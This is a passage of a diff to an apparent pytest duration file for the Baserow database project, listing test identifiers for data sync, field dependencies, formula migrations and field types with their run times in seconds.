"tests/baserow/contrib/database/api/webhooks/test_webhook_views.py::test_update_webhook_with_event_config": 0.38184437502059154, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_create_data_sync_table": 0.15078200001153164, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_create_data_sync_table_automatically_add_unique_properties": 0.14278641599230468, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_create_data_sync_table_invalid_property": 0.10238166601629928, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_create_data_sync_table_no_unique_primary": 0.10499620801419951, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_create_data_sync_table_with_the_multiple_same_properties": 0.13392695903894491, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_create_data_sync_table_without_permissions": 0.09463345800759271, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_delete_non_unique_primary_data_sync_field": 0.173575542983599, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_delete_sync_data_sync_table": 0.2817387100076303, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_delete_unique_primary_data_sync_field": 0.12173541696392931, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_duplicate_data_sync_field": 0.17700216703815386, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_not_recreate_trashed_field_property_on_sync": 0.1973314589704387, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties": 0.21856941698933952, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_correctly_removing_field": 0.20101924997288734, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_field_name_already_exists": 0.1687053749919869, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_field_types_changed": 0.18924962496384978, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_not_existing_property": 0.14888962500845082, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_property_immutable_properties_changed": 0.1848072920111008, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_property_removed_from_data_sync": 0.19724204199155793, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_property_unique_primary_changed": 0.19200612499844283, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_with_multiple_same_synced_properties": 0.19408600000315346, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_set_data_sync_synced_properties_without_permissions": 0.11903341699508019, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_already_running": 0.14197199998307042, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_create_update_delete_row": 0.3046496250317432, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_exception_raised": 0.16001412496552803, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_lock_is_removed": 0.1738703339942731, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_lock_is_removed_on_failure": 0.15288816601969302, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_lock_is_removed_on_sync_error": 0.1578714579809457, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_multiple_unique_primary_properties": 0.20175091695273295, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_property_removed_from_data_sync_type": 0.21979470801306888, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_refresh_called": 0.17597837603534572, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_sync_error": 0.152792041975772, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_with_formula_field_dependency": 0.2679166249872651, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_without_all_fields_rows_updated": 0.18805308299488388, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_sync_data_sync_table_without_permissions": 0.11713516799500212, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_trash_field_and_then_sync": 0.19275883297086693, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_trash_field_is_synced": 0.22067449902533554, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_update_data_sync_table": 0.20773070902214386, + "tests/baserow/contrib/database/data_sync/test_data_sync_handler.py::test_update_data_sync_table_without_permissions": 0.21180074900621548, + "tests/baserow/contrib/database/data_sync/test_data_sync_ical_calendar_type.py::test_ical_sync_data_sync_table_without_dtend": 0.1636253329925239, + "tests/baserow/contrib/database/data_sync/test_data_sync_ical_calendar_type.py::test_ical_sync_date_equal": 0.017271124990656972, + "tests/baserow/contrib/database/data_sync/test_data_sync_ical_calendar_type.py::test_ical_sync_date_not_equal": 0.017062041035387665, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_create_data_sync_via_api_without_a_primary_property": 0.3652274999767542, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_create_data_sync_with_negative_int_and_positive_baserow_number_field": 0.4624946239928249, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_create_postgresql_data_sync": 0.3939841670508031, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_get_data_sync": 0.36816441698465496, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_connection_error": 0.10493458301061764, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_get_properties": 0.3393301229807548, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_get_properties_unsupported_column_types": 0.32382516699726693, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_initial_table_limit": 0.39842891701846384, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_table_connect_to_blacklist": 0.3261091260064859, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_table_connect_to_same_database": 0.33159470799728297, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_postgresql_data_sync_table_does_not_exist": 0.32517533400096, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_sync_postgresql_data_sync": 0.471101292030653, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_sync_postgresql_data_sync_auto_add_new_properties": 0.540947707981104, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_sync_postgresql_data_sync_nothing_changed": 0.5263998350128531, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_update_data_sync_table_changing_primary_key": 0.5439061250071973, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_update_data_sync_table_changing_primary_key_with_different_primary_field": 0.5807270839868579, + "tests/baserow/contrib/database/data_sync/test_data_sync_postgresql.py::test_update_data_sync_table_changing_table_with_different_primary_key": 0.6426746250072028, + "tests/baserow/contrib/database/data_sync/test_data_sync_registries.py::test_import_export_data_sync": 0.25532462398405187, + "tests/baserow/contrib/database/db/test_db_schema.py::test_lenient_schema_editor": 0.024075583030935377, + "tests/baserow/contrib/database/db/test_db_schema.py::test_lenient_schema_editor_is_also_safe": 0.12739191600121558, + "tests/baserow/contrib/database/db/test_db_schema.py::test_safe_schema_editor": 0.12881516802008264, + "tests/baserow/contrib/database/db/test_db_schema.py::test_showing_how_djangos_schema_editor_is_broken": 0.00011370799620635808, "tests/baserow/contrib/database/export/test_export_handler.py::test_a_column_without_a_grid_view_option_has_an_option_made_and_is_exported": 0.1845913319993997, "tests/baserow/contrib/database/export/test_export_handler.py::test_a_complete_export_job_which_has_expired_will_have_its_file_deleted": 0.6406018339994262, "tests/baserow/contrib/database/export/test_export_handler.py::test_a_pending_job_which_has_expired_will_be_cleaned_up": 0.3348941679996642, @@ -3037,768 +5222,1159 @@ "tests/baserow/contrib/database/export/test_export_handler.py::test_csv_is_sorted_by_sorts": 0.16797766600120667, "tests/baserow/contrib/database/export/test_export_handler.py::test_exporting_table_ignores_view_filters_sorts_hides": 0.16938516600021103, "tests/baserow/contrib/database/export/test_export_handler.py::test_hidden_fields_are_excluded": 0.1924346660007359, - "tests/baserow/contrib/database/field/actions/test_field_create_actions.py::test_can_undo_create_field": 0.17666375100088771, - "tests/baserow/contrib/database/field/actions/test_field_create_actions.py::test_can_undo_redo_create_field": 0.19472337599927414, - "tests/baserow/contrib/database/field/actions/test_field_delete_actions.py::test_can_undo_delete_field": 0.1782080010007121, - "tests/baserow/contrib/database/field/actions/test_field_delete_actions.py::test_can_undo_redo_delete_field": 0.18813329099975817, - "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_formula_fields_will_be_rebuilt_to_depend_on_each_other": 0.03409512400139647, - "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_rebuilding_a_link_row_field_creates_dependencies_with_vias": 0.03975333400103409, - "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_rebuilding_with_a_circular_ref_will_raise": 0.03201529200123332, - "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_str_of_field_dependency_uniquely_identifies_it": 0.03865837499961344, - "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_trashing_a_link_row_field_breaks_vias": 0.03937791700082016, - "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_trashing_a_lookup_target_still_has_the_dep_depend_on_the_through_field": 0.05227483300041058, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_can_add_model_with_fields_to_cache": 0.019976331999714603, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_can_get_model_via_cache": 0.023652415999094956, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_can_just_add_model_fields_to_cache": 0.0218791669994971, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_cannot_cache_trashed_field": 0.017772124999282823, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_field_cache_can_inherit_cache_from_another": 0.018916292000540125, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_field_cache_can_inherit_from_model": 0.020959499999662512, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_field_cache_does_no_database_lookup_for_cached_field": 0.018927125000118394, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_field_by_name_not_in_cache_queries_to_get_specific_field": 0.01709454200045002, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_missing_specific_field_does_query": 0.01906966700062185, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_non_existent_field_returns_none_after_query": 0.01805133300149464, - "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_specific_field_which_does_not_exist_returns_none": 0.029047332001027826, + "tests/baserow/contrib/database/field/actions/test_field_create_actions.py::test_can_undo_create_field": 0.16555595802492462, + "tests/baserow/contrib/database/field/actions/test_field_create_actions.py::test_can_undo_redo_create_field": 0.187512834003428, + "tests/baserow/contrib/database/field/actions/test_field_delete_actions.py::test_can_undo_delete_field": 0.17979158298112452, + "tests/baserow/contrib/database/field/actions/test_field_delete_actions.py::test_can_undo_redo_delete_field": 0.204913875029888, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_even_with_circular_dependencies_queries_finish_in_time": 0.1797447499993723, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_formula_fields_will_be_rebuilt_to_depend_on_each_other": 0.08435241703409702, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_rebuilding_a_link_row_field_creates_dependencies_with_vias": 0.09065870803897269, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_rebuilding_with_a_circular_ref_will_raise": 0.08731445897137746, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_str_of_field_dependency_uniquely_identifies_it": 0.08082641600049101, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_trashing_a_link_row_field_breaks_vias": 0.10457916598534212, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_trashing_a_lookup_target_still_has_the_dep_depend_on_the_through_field": 0.12476520900963806, + "tests/baserow/contrib/database/field/dependencies/test_dependency_rebuilder.py::test_trashing_and_restoring_a_field_recreate_dependencies_correctly": 0.34968754099099897, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_can_add_model_with_fields_to_cache": 0.04680275003192946, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_can_get_model_via_cache": 0.04468929200083949, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_can_just_add_model_fields_to_cache": 0.04325600003357977, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_cannot_cache_trashed_field": 0.03905858297366649, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_field_cache_can_inherit_cache_from_another": 0.03757420799229294, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_field_cache_can_inherit_from_model": 0.043250582995824516, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_field_cache_does_no_database_lookup_for_cached_field": 0.05004641698906198, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_field_by_name_not_in_cache_queries_to_get_specific_field": 0.049806290975539014, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_missing_specific_field_does_query": 0.0473306670319289, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_non_existent_field_returns_none_after_query": 0.04617666601552628, + "tests/baserow/contrib/database/field/dependencies/test_field_cache.py::test_looking_up_specific_field_which_does_not_exist_returns_none": 0.06536983299884014, "tests/baserow/contrib/database/field/dependencies/test_field_dependencies_handler.py::test_get_dependant_fields_with_type": 0.07510189700042247, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_can_import_database_with_formula_dependencies": 0.2999799579847604, "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_deep_circular_ref": 4.857990673001041, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependencies_for_link_row_link_row_self_reference": 0.1836213749993476, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependencies_for_primary_lookup": 0.29997895900032745, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependencies_for_triple_lookup": 0.3358269160007694, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_all_dependant_fields_with_type": 0.08266300000013871, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_all_dependant_fields_with_type_num_queries": 0.04206858400084457, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_all_dependant_fields_with_type_via_field_num_queries": 0.044182375000673346, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_dependant_fields_with_type": 0.07798666800044884, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_dependant_fields_with_type_num_queries": 0.04835150100007013, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_dependant_fields_with_type_via_field_num_queries": 0.040464124999743944, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_same_table_deps": 0.038087708000603016, - "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_self_reference_raises": 0.15473675100020046, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_add_fields_in_same_starting_table_with_row_filter": 0.023866458000156854, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_add_fields_with_update_statements_in_same_starting_table": 0.02664995800023462, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_only_trigger_update_for_rows_joined_to_a_starting_row_across_a_m2m": 0.2203714580009546, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_trigger_update_for_rows_joined_to_a_starting_row_across_a_m2m_and_back": 0.22293599899967376, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_update_statements_at_the_same_path_node_are_grouped_into_one": 0.22551612500046758, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_update_statements_only_update_rows_where_values_change": 0.15433575000042765, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependencies_for_link_row_link_row_self_reference": 0.149549207999371, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependencies_for_primary_lookup": 0.39153333302238025, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependencies_for_triple_lookup": 0.3790625419933349, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependency_handler_group_dependencies_by_level": 0.018219541001599282, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_dependency_handler_group_dependencies_by_level_circular_dep_error": 0.017944708990398794, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_all_dependant_fields_with_type": 0.13565479099634103, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_all_dependant_fields_with_type_num_queries": 0.06111762498039752, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_all_dependant_fields_with_type_via_field_num_queries": 0.07271895700250752, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_dependant_fields_with_type": 0.13032370901782997, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_dependant_fields_with_type_num_queries": 0.07995383301749825, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_dependant_fields_with_type_via_field_num_queries": 0.07931500000995584, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_get_same_table_deps": 0.07989516598172486, + "tests/baserow/contrib/database/field/dependencies/test_field_dependency_handler.py::test_self_reference_raises": 0.11162212502676994, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_apply_updates_returns_only_last_updated_fields_but_update_collector_track_all_changes": 0.24395900100353174, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_add_fields_in_same_starting_table_with_row_filter": 0.05572470699553378, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_add_fields_with_update_statements_in_same_starting_table": 0.06282708299113438, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_only_trigger_update_for_rows_joined_to_a_starting_row_across_a_m2m": 0.25995249999687076, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_can_trigger_update_for_rows_joined_to_a_starting_row_across_a_m2m_and_back": 0.293940624978859, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_update_statements_at_the_same_path_node_are_grouped_into_one": 0.2946827090054285, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_update_statements_only_update_rows_where_values_change": 0.13447725100559182, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_updates_schedule_search_updates": 0.057530792022589594, "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_updates_set_them_to_need_background_updates_when_editting_rows": 0.024083958999653987, - "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_updates_set_them_to_not_need_background_update_when_not_edditing_rows": 0.026069041999107867, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_assert_migrations_are_valid": 0.009829249000176787, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_can_force_recalculate_for_formulas_with_invalid_syntax_or_of_error_type": 0.20040870899993024, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_complex_set_of_migrations_with_different_filters": 0.27845166600127413, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_downgrade_recalculates_attributes_and_graph_but_not_cell_values": 0.04534162599975389, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_formula_migration_failing_when_refreshing_cell_values_marks_as_invalid": 0.20399175000056857, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_excluding_field_which_shouldnt_recalculate_its_attributes": 0.027639332999569888, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_excluding_field_which_shouldnt_recalculate_its_attributes_from": 0.027999082999485836, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_including_field_for_dep_recalc_recalcs_its_deps": 0.055238125999494514, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_including_field_which_should_recalculate_its_attributes": 0.031992499999432766, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_recalculate_formula_that_is_broken_marks_it_as_invalid": 0.038785458999882394, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_recalculate_formulas_according_to_version": 0.05219029100135231, - "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_recalculate_formulas_according_to_version_needing_full_refresh": 0.1202738740003042, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_alter_autonumber_field_column_type": 0.18514841600062937, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_can_be_looked_up": 0.24964983399968332, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_can_be_referenced_in_formula": 0.18380070900002465, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_numbers_rows_correctly_with_trashed_rows": 0.18313091700019868, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_numbers_trashed_rows_to_avoid_conflicts_on_restore": 0.16660437599966826, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_values_cannot_be_updated_manually": 0.1537486680008442, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_view_aggregations": 0.17318533399975422, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_view_filters": 0.18257404199994198, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_duplicate_autonumber_field": 0.1874294999997801, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_duplicate_table_with_autonumber_field": 0.2086963329993523, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_import_rows_assign_new_values": 0.16149466499973641, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_perm_delete_field_drop_field_sequence": 0.18259237500024028, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_renumber_rows_according_to_views_filters_and_sorts": 0.1964021670000875, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_trash_restore_autonumber_field": 0.1885542499994699, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_undo_redo_create_autonumber_field": 0.21543854199990164, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_undo_redo_delete_autonumber_field": 0.21188900100059982, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_undo_redo_update_autonumber_field": 0.2138438749998386, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_update_to_autonumber_create_field_sequence": 0.17154716499953793, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_update_to_other_type_drop_field_sequence": 0.1719557079995866, - "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_updating_autonumber_field_does_not_change_row_values_once_set": 0.20345795800039923, - "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_alter_boolean_field_column_type": 0.18860125099945435, - "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_boolean_field_adjacent_row": 0.1690785840009994, - "tests/baserow/contrib/database/field/test_boolean_field_type.py::test_get_set_export_serialized_value_boolean_field": 0.02451616600046691, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_can_batch_create_count_field_value": 0.2634916670012899, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_can_batch_update_count_field_value": 0.2720508330003213, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_can_update_count_field_value": 0.26261066700044466, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_convert_count_to_text_field_via_api": 0.27256516799934616, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_create_count_through_field_name": 0.23148133300037443, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_create_count_through_field_with_invalid_linkrowfield": 0.18311800100127584, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_create_count_through_field_with_invalid_linkrowfield_via_api": 0.18582270900060394, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_import_export_tables_with_count_fields": 0.5957932499986782, - "tests/baserow/contrib/database/field/test_count_field_type.py::test_update_count_through_field_name": 0.31501345800006675, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_created_by_field": 0.18077712499962217, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_created_by_field_force_create_created_by_column": 0.1766533760001039, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_row_created_by": 0.15908450099959737, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_create_rows_created_by": 0.16018083400012983, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_created_by_field_type_sorting": 0.4216155419999268, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_created_by_field_view_aggregation": 0.4288029999997889, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_duplicate_created_by_field": 0.5877119589995345, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_get_set_export_serialized_value_created_by_field": 0.35191233300065505, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_import_export_created_by_field": 0.16220454299855191, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_create_row_created_by": 0.15615395899931173, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_create_rows_created_by": 0.15807945800042944, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_update_row_created_by": 0.16271250099816825, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_prevent_update_rows_created_by": 0.16148470699863537, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_trash_restore_created_by_field": 0.4641680830000041, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_update_row_dont_update_created_by": 0.2944212919992424, - "tests/baserow/contrib/database/field/test_created_by_field_type.py::test_update_rows_dont_update_created_by": 0.3049531249989741, + "tests/baserow/contrib/database/field/dependencies/test_update_collector.py::test_updates_set_them_to_not_need_background_update_when_not_edditing_rows": 0.05038970900932327, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_assert_migrations_are_valid": 0.02068341799895279, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_can_force_recalculate_for_formulas_with_invalid_syntax_or_of_error_type": 0.20111858297605067, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_complex_set_of_migrations_with_different_filters": 0.39921133301686496, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_downgrade_recalculates_attributes_and_graph_but_not_cell_values": 0.11280150100355968, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_formula_migration_failing_when_refreshing_cell_values_marks_as_invalid": 0.29767054101102985, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_excluding_field_which_shouldnt_recalculate_its_attributes": 0.08836037499713711, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_excluding_field_which_shouldnt_recalculate_its_attributes_from": 0.08828399996855296, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_including_field_for_dep_recalc_recalcs_its_deps": 0.14024804101791233, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_migration_including_field_which_should_recalculate_its_attributes": 0.08822583299479447, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_recalculate_formula_that_is_broken_marks_it_as_invalid": 0.08479141697171144, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_recalculate_formulas_according_to_version": 0.14636933198198676, + "tests/baserow/contrib/database/field/migrations/test_formula_migrations.py::test_recalculate_formulas_according_to_version_needing_full_refresh": 0.3717145000118762, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_alter_autonumber_field_column_type": 0.16630862501915544, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_can_be_looked_up": 0.3685919170093257, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_can_be_referenced_in_formula": 0.18546279199654236, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_numbers_rows_correctly_with_trashed_rows": 0.1673605419928208, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_numbers_trashed_rows_to_avoid_conflicts_on_restore": 0.13260183297097683, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_values_cannot_be_updated_manually": 0.13864625099813566, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_view_aggregations": 0.14982995801256038, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_autonumber_field_view_filters": 0.16643846000079066, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_duplicate_autonumber_field": 0.1593517090077512, + "tests/baserow/contrib/database/field/test_autonumber_field_type.py::test_duplicate_table_with_autonumber_field": 0.1698661249538418, + 